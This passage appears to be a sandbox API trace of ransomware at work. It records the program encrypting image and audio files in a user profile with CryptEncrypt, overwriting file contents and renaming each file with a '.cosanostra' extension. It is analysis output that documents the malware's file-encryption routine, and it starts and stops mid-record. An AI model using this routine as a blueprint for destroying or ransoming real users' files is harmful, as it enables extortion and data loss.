HALPmcxz\\Pictures\\I6aN\\2HzY7I639Y-a8gy8P\\lbnMnDEPGf4.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\i6an\\2hzy7i639y-a8gy8p\\lbnmndepgf4.jpg"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\I6aN\\2HzY7I639Y-a8gy8P\\lbnMnDEPGf4.jpg.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\i6an\\2hzy7i639y-a8gy8p\\lbnmndepgf4.jpg.cosanostra")) returned 1 [0097.572] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f428 | out: pbBuffer=0x251f428) returned 1 [0097.572] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f420*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f420*=0x30) returned 1 [0097.572] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\I6aN\\2HzY7I639Y-a8gy8P\\dL14F8IDz-uA_a617U.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\i6an\\2hzy7i639y-a8gy8p\\dl14f8idz-ua_a617u.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0097.572] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\I6aN\\2HzY7I639Y-a8gy8P\\dL14F8IDz-uA_a617U.gif") returned 88 [0097.572] StrStrW (lpFirst="dL14F8IDz-uA_a617U.gif", lpSrch=".txt") returned 0x0 [0097.573] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.573] WriteFile (in: hFile=0x15c, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f3e4, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x251f3e4*=0x2800, lpOverlapped=0x0) returned 1 [0097.574] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.574] WriteFile (in: hFile=0x15c, lpBuffer=0x251f424*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f3e4, lpOverlapped=0x0 | out: lpBuffer=0x251f424*, lpNumberOfBytesWritten=0x251f3e4*=0x4, lpOverlapped=0x0) returned 1 [0097.574] WriteFile (in: hFile=0x15c, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f3e4, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f3e4*=0x30, lpOverlapped=0x0) returned 1 [0097.574] CloseHandle (hObject=0x15c) returned 1 [0097.574] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\I6aN\\2HzY7I639Y-a8gy8P\\dL14F8IDz-uA_a617U.gif.cosanostra") returned 99 [0097.574] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\I6aN\\2HzY7I639Y-a8gy8P\\dL14F8IDz-uA_a617U.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\i6an\\2hzy7i639y-a8gy8p\\dl14f8idz-ua_a617u.gif"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\I6aN\\2HzY7I639Y-a8gy8P\\dL14F8IDz-uA_a617U.gif.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\i6an\\2hzy7i639y-a8gy8p\\dl14f8idz-ua_a617u.gif.cosanostra")) returned 1 [0097.575] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f420 | out: pbBuffer=0x251f420) returned 1 [0097.575] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f418*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f418*=0x30) returned 1 [0097.575] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\I6aN\\2HzY7I639Y-a8gy8P\\am4wzy3.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\i6an\\2hzy7i639y-a8gy8p\\am4wzy3.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0097.575] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\I6aN\\2HzY7I639Y-a8gy8P\\am4wzy3.png") returned 77 [0097.575] StrStrW (lpFirst="am4wzy3.png", lpSrch=".txt") returned 0x0 [0097.576] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffe52e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.576] WriteFile (in: hFile=0x15c, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x1ad2, lpNumberOfBytesWritten=0x251f3dc, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x251f3dc*=0x1ad2, lpOverlapped=0x0) returned 1 [0097.576] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.577] WriteFile (in: hFile=0x15c, lpBuffer=0x251f41c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f3dc, lpOverlapped=0x0 | out: lpBuffer=0x251f41c*, lpNumberOfBytesWritten=0x251f3dc*=0x4, lpOverlapped=0x0) returned 1 [0097.577] WriteFile (in: hFile=0x15c, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f3dc, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f3dc*=0x30, lpOverlapped=0x0) returned 1 [0097.577] CloseHandle (hObject=0x15c) returned 1 [0097.577] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\I6aN\\2HzY7I639Y-a8gy8P\\am4wzy3.png.cosanostra") returned 88 [0097.577] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\I6aN\\2HzY7I639Y-a8gy8P\\am4wzy3.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\i6an\\2hzy7i639y-a8gy8p\\am4wzy3.png"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\I6aN\\2HzY7I639Y-a8gy8P\\am4wzy3.png.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\i6an\\2hzy7i639y-a8gy8p\\am4wzy3.png.cosanostra")) returned 1 [0097.578] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f420 | out: pbBuffer=0x251f420) returned 1 [0097.578] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f418*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f418*=0x30) returned 1 [0097.578] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\I6aN\\2HzY7I639Y-a8gy8P\\46yz6Rp.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\i6an\\2hzy7i639y-a8gy8p\\46yz6rp.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0097.578] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\I6aN\\2HzY7I639Y-a8gy8P\\46yz6Rp.bmp") returned 77 [0097.578] StrStrW (lpFirst="46yz6Rp.bmp", lpSrch=".txt") returned 0x0 [0097.579] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.579] WriteFile (in: hFile=0x15c, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f3dc, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x251f3dc*=0x2800, lpOverlapped=0x0) returned 1 [0097.579] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.579] WriteFile (in: hFile=0x15c, lpBuffer=0x251f41c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f3dc, lpOverlapped=0x0 | out: lpBuffer=0x251f41c*, lpNumberOfBytesWritten=0x251f3dc*=0x4, lpOverlapped=0x0) returned 1 [0097.579] WriteFile (in: hFile=0x15c, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f3dc, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f3dc*=0x30, lpOverlapped=0x0) returned 1 [0097.579] CloseHandle (hObject=0x15c) returned 1 [0097.580] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\I6aN\\2HzY7I639Y-a8gy8P\\46yz6Rp.bmp.cosanostra") returned 88 [0097.580] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\I6aN\\2HzY7I639Y-a8gy8P\\46yz6Rp.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\i6an\\2hzy7i639y-a8gy8p\\46yz6rp.bmp"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\I6aN\\2HzY7I639Y-a8gy8P\\46yz6Rp.bmp.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\i6an\\2hzy7i639y-a8gy8p\\46yz6rp.bmp.cosanostra")) returned 1 [0097.580] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f418 | out: pbBuffer=0x251f418) returned 1 [0097.580] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f410*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f410*=0x30) returned 1 [0097.580] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\I3uxHBsr.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\i3uxhbsr.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0097.581] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\I3uxHBsr.png") returned 55 [0097.581] StrStrW (lpFirst="I3uxHBsr.png", lpSrch=".txt") returned 0x0 [0097.582] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.582] WriteFile (in: hFile=0x15c, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f3d4, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x251f3d4*=0x2800, lpOverlapped=0x0) returned 1 [0097.582] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.582] WriteFile (in: hFile=0x15c, lpBuffer=0x251f414*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f3d4, lpOverlapped=0x0 | out: lpBuffer=0x251f414*, lpNumberOfBytesWritten=0x251f3d4*=0x4, lpOverlapped=0x0) returned 1 [0097.582] WriteFile (in: hFile=0x15c, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f3d4, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f3d4*=0x30, lpOverlapped=0x0) returned 1 [0097.582] CloseHandle (hObject=0x15c) returned 1 [0097.583] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\I3uxHBsr.png.cosanostra") returned 66 [0097.583] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\I3uxHBsr.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\i3uxhbsr.png"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\I3uxHBsr.png.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\i3uxhbsr.png.cosanostra")) returned 1 [0097.583] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f418 | out: pbBuffer=0x251f418) returned 1 [0097.583] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f410*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f410*=0x30) returned 1 [0097.583] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0097.584] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\desktop.ini") returned 54 [0097.584] StrStrW (lpFirst="desktop.ini", lpSrch=".txt") returned 0x0 [0097.585] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfffffe08, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.585] WriteFile (in: hFile=0x15c, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x1f8, lpNumberOfBytesWritten=0x251f3d4, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x251f3d4*=0x1f8, lpOverlapped=0x0) returned 1 [0097.585] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.585] WriteFile (in: hFile=0x15c, lpBuffer=0x251f414*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f3d4, lpOverlapped=0x0 | out: lpBuffer=0x251f414*, lpNumberOfBytesWritten=0x251f3d4*=0x4, lpOverlapped=0x0) returned 1 [0097.585] WriteFile (in: hFile=0x15c, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f3d4, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f3d4*=0x30, lpOverlapped=0x0) returned 1 [0097.585] CloseHandle (hObject=0x15c) returned 1 [0097.585] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\desktop.ini.cosanostra") returned 65 [0097.585] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\desktop.ini"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\desktop.ini.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\desktop.ini.cosanostra")) returned 1 [0097.586] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f410 | out: pbBuffer=0x251f410) returned 1 [0097.586] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f408*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f408*=0x30) returned 1 [0097.586] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\7AhyfC0a9yF8bt.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\7ahyfc0a9yf8bt.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0097.586] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\7AhyfC0a9yF8bt.gif") returned 61 [0097.586] StrStrW (lpFirst="7AhyfC0a9yF8bt.gif", lpSrch=".txt") returned 0x0 [0097.587] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.587] WriteFile (in: hFile=0x15c, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f3cc, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x251f3cc*=0x2800, lpOverlapped=0x0) returned 1 [0097.587] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.587] WriteFile (in: hFile=0x15c, lpBuffer=0x251f40c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f3cc, lpOverlapped=0x0 | out: lpBuffer=0x251f40c*, lpNumberOfBytesWritten=0x251f3cc*=0x4, lpOverlapped=0x0) returned 1 [0097.588] WriteFile (in: hFile=0x15c, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f3cc, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f3cc*=0x30, lpOverlapped=0x0) returned 1 [0097.588] CloseHandle (hObject=0x15c) returned 1 [0097.588] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\7AhyfC0a9yF8bt.gif.cosanostra") returned 72 [0097.588] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\7AhyfC0a9yF8bt.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\7ahyfc0a9yf8bt.gif"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\7AhyfC0a9yF8bt.gif.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\7ahyfc0a9yf8bt.gif.cosanostra")) returned 1 [0097.590] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f408 | out: pbBuffer=0x251f408) returned 1 [0097.590] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f400*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f400*=0x30) returned 1 [0097.590] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\5lJH\\ZDGANZEX_M.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\5ljh\\zdganzex_m.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0097.590] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\5lJH\\ZDGANZEX_M.png") returned 62 [0097.590] StrStrW (lpFirst="ZDGANZEX_M.png", lpSrch=".txt") returned 0x0 [0097.591] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffe2c0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.591] WriteFile (in: hFile=0x15c, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x1d40, lpNumberOfBytesWritten=0x251f3c4, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x251f3c4*=0x1d40, lpOverlapped=0x0) returned 1 [0097.591] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.591] WriteFile (in: hFile=0x15c, lpBuffer=0x251f404*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f3c4, lpOverlapped=0x0 | out: lpBuffer=0x251f404*, lpNumberOfBytesWritten=0x251f3c4*=0x4, lpOverlapped=0x0) returned 1 [0097.592] WriteFile (in: hFile=0x15c, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f3c4, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f3c4*=0x30, lpOverlapped=0x0) returned 1 [0097.592] CloseHandle (hObject=0x15c) returned 1 [0097.592] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\5lJH\\ZDGANZEX_M.png.cosanostra") returned 73 [0097.592] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\5lJH\\ZDGANZEX_M.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\5ljh\\zdganzex_m.png"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\5lJH\\ZDGANZEX_M.png.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\5ljh\\zdganzex_m.png.cosanostra")) returned 1 [0097.695] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f400 | out: pbBuffer=0x251f400) returned 1 [0097.695] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f3f8*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f3f8*=0x30) returned 1 [0097.695] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z2sLZ-CavOGA6C1q3\\ojHOR84M6oPY\\7C20RN4oKduWzZ3r\\2v2B4XY5F6QMs\\YJeecV.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\z2slz-cavoga6c1q3\\ojhor84m6opy\\7c20rn4okduwzz3r\\2v2b4xy5f6qms\\yjeecv.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0097.695] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z2sLZ-CavOGA6C1q3\\ojHOR84M6oPY\\7C20RN4oKduWzZ3r\\2v2B4XY5F6QMs\\YJeecV.m4a") returned 112 [0097.695] StrStrW (lpFirst="YJeecV.m4a", lpSrch=".txt") returned 0x0 [0097.696] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.696] WriteFile (in: hFile=0x138, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f3bc, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251f3bc*=0x2800, lpOverlapped=0x0) returned 1 [0097.696] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.696] WriteFile (in: hFile=0x138, lpBuffer=0x251f3fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f3bc, lpOverlapped=0x0 | out: lpBuffer=0x251f3fc*, lpNumberOfBytesWritten=0x251f3bc*=0x4, lpOverlapped=0x0) returned 1 [0097.697] WriteFile (in: hFile=0x138, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f3bc, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f3bc*=0x30, lpOverlapped=0x0) returned 1 [0097.697] CloseHandle (hObject=0x138) returned 1 [0097.697] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z2sLZ-CavOGA6C1q3\\ojHOR84M6oPY\\7C20RN4oKduWzZ3r\\2v2B4XY5F6QMs\\YJeecV.m4a.cosanostra") returned 123 [0097.697] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z2sLZ-CavOGA6C1q3\\ojHOR84M6oPY\\7C20RN4oKduWzZ3r\\2v2B4XY5F6QMs\\YJeecV.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\z2slz-cavoga6c1q3\\ojhor84m6opy\\7c20rn4okduwzz3r\\2v2b4xy5f6qms\\yjeecv.m4a"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z2sLZ-CavOGA6C1q3\\ojHOR84M6oPY\\7C20RN4oKduWzZ3r\\2v2B4XY5F6QMs\\YJeecV.m4a.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\z2slz-cavoga6c1q3\\ojhor84m6opy\\7c20rn4okduwzz3r\\2v2b4xy5f6qms\\yjeecv.m4a.cosanostra")) returned 1 [0097.748] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f400 | out: pbBuffer=0x251f400) returned 1 [0097.748] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f3f8*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f3f8*=0x30) returned 1 [0097.749] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z2sLZ-CavOGA6C1q3\\bqO20G9ShnsB.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\z2slz-cavoga6c1q3\\bqo20g9shnsb.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0097.749] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z2sLZ-CavOGA6C1q3\\bqO20G9ShnsB.mp3") returned 74 [0097.749] StrStrW (lpFirst="bqO20G9ShnsB.mp3", lpSrch=".txt") returned 0x0 [0097.750] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.750] WriteFile (in: hFile=0x138, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f3bc, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x251f3bc*=0x2800, lpOverlapped=0x0) returned 1 [0097.750] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.750] WriteFile (in: 